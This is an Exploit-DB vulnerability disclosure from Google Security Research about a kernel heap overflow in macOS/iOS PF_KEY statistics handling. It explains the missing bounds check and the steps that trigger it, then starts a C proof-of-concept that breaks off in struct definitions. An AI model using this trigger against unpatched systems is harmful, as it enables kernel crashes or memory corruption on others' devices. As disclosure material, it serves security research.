Exploit-DB #46300
Description: macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics
Type: dos
Platform: multiple
Date: 2019-01-31
Author: Google Security Research

Exploit:
/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
*/

// @i41nbeer

#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics

Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/pfkeyv2.h>

#if 0
struct sadb_msg {
  u_int8_t sadb_msg_version;
  u_int8_t sadb_msg_type;
  u_int8_t sadb_msg_errno;
  u_int8_t sadb_msg_satype;
  u_int16_t sadb_msg_len;         // in 8-byte units
  u_int16_t sadb_msg_reserved;
  u_int32_t sadb_msg_seq;
  u_int32_t sadb_msg_pid;
};

// extenstion header

struct sadb_ext {
  u_int16_t sadb_ext_len;        // 8-byte units
  u_int16_t sadb_ext_type;
};

// SADB_EXT_SA

struct sadb_sa {
  u_int16_t sadb_sa_len;
  u_int16_t sadb_sa_exttype;
  u_int32_t sadb_sa_spi;
  u_int8_t sadb_sa_replay;
  u_int8_t sadb_sa_state;
  u_int8_t sadb_sa_auth;
  u_int8_t sadb_sa_encrypt;
  u_int32_t sadb_sa_flags;
};

// SADB_EXT_ADDRESS_SRC/DST
// is this variable sized?

struct sadb_address {
  u_int16_t sadb_address_len;
  u_int16_t sadb_address_exttype;
  u_int8_t sadb_address_proto;
  u_int8_t sadb_address_prefixlen;
  u_int16_t sadb_address_reserved;
};

// SADB_EXT_KEY_AUTH header

struct sadb_key {
  u_int16_t sadb_key_len;       
  u_int16_t sadb_key_exttype;
  u_int16_t sadb_key_bits;      // >> 3 -> bzero
  u_int16_t sadb_key_reserved;
};

// SADB_EXT_SASTAT

struct sadb_sastat {
        u_int16_t            sadb_sastat_len;
        u_int16_t            sadb_sastat_exttype;
        u_int32_t            sadb_sastat_dir;
        u_int32_t            sadb_sastat_reserved;
        u_int32_t            sadb_sastat_list_len;
        /* list of struct